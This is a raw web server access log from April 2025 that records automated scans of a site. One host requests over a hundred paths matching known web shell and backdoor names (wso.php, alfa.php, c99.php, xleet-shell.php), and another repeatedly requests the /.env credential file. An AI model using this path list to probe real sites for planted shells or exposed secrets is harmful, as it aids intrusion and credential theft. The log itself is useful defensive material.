[09/Apr/2025:17:37:54 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:55 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:55 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:55 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:56 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:56 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:56 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:56 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:57 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:57 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:57 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:57 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:58 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:58 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:59 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:59 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:37:59 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:00 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:01 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:01 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:01 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:02 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:02 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:02 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:03 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:04 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:04 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:04 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:05 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:05 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:05 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:06 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:06 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:06 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:07 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:07 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:08 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:08 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:08 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:09 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:09 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:09 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:10 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:10 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:11 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:11 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:11 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:12 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:12 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:12 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:13 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:13 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:13 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:14 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:14 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:14 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:15 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:15 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:15 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:15 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:16 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:16 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:17 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:17 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:17 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:18 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:18 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 45.125.66.55 - - [09/Apr/2025:17:38:18 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.90.159.17 - - [09/Apr/2025:17:38:18 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:19 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:19 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:19 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:19 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 45.125.66.55 - - [09/Apr/2025:17:38:20 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 13.90.159.17 - - [09/Apr/2025:17:38:20 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:20 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:20 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:21 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:21 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:21 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:22 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:22 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:23 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:23 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:24 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:24 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:24 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:25 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:25 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:26 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:26 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:26 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:26 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:27 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:27 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:28 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:28 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:28 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:29 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:29 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:29 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:30 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:30 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:30 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:31 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:31 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:31 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:32 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:32 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:33 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:33 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:33 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:34 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:34 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:34 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:35 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:35 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:36 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:37 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:37 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:37 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:38 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:38 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:39 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:39 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:39 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:40 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:40 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:41 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:41 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:41 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:42 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:42 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:42 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:43 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:43 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:44 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:44 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:44 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:45 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:45 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:45 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:46 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:46 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:47 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:47 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:48 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:48 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [09/Apr/2025:17:38:48 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 45.125.66.55 - - [09/Apr/2025:17:42:22 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.125.66.55 - - [09/Apr/2025:17:42:23 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 92.255.57.39 - - [09/Apr/2025:18:26:48 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 182.42.105.144 - - [09/Apr/2025:18:28:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.133.187.11 - - [09/Apr/2025:18:36:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.69.226 - - [09/Apr/2025:19:18:37 -0400] "GET /thoms.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:27:59 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:28:05 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:28:10 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:28:17 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:28:21 -0400] "GET /uploads/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:28:27 -0400] "GET /images/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 107.151.254.244 - - [09/Apr/2025:19:28:31 -0400] "GET /files/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:42:52 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:43:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.54.67 - - [09/Apr/2025:19:43:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:44:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:44:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.54.67 - - [09/Apr/2025:19:44:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.54.67 - - [09/Apr/2025:19:44:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:44:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.54.67 - - [09/Apr/2025:19:44:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:44:23 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:44:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.54.67 - - [09/Apr/2025:19:44:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.54.67 - - [09/Apr/2025:19:44:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.54.67 - - [09/Apr/2025:19:44:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [09/Apr/2025:20:19:33 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [09/Apr/2025:20:19:46 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 43.159.149.216 - - [09/Apr/2025:20:29:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [09/Apr/2025:20:32:44 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [09/Apr/2025:20:33:01 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 34.162.225.85 - - [09/Apr/2025:20:40:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - [09/Apr/2025:20:40:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - [09/Apr/2025:20:40:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.225.85 - - [09/Apr/2025:20:40:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.225.85 - - [09/Apr/2025:20:40:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - [09/Apr/2025:20:40:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - [09/Apr/2025:20:40:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.225.85 - - [09/Apr/2025:20:40:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Mobile/15E148 Safari/604.1" 34.162.225.85 - - [09/Apr/2025:20:40:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 34.162.225.85 - - 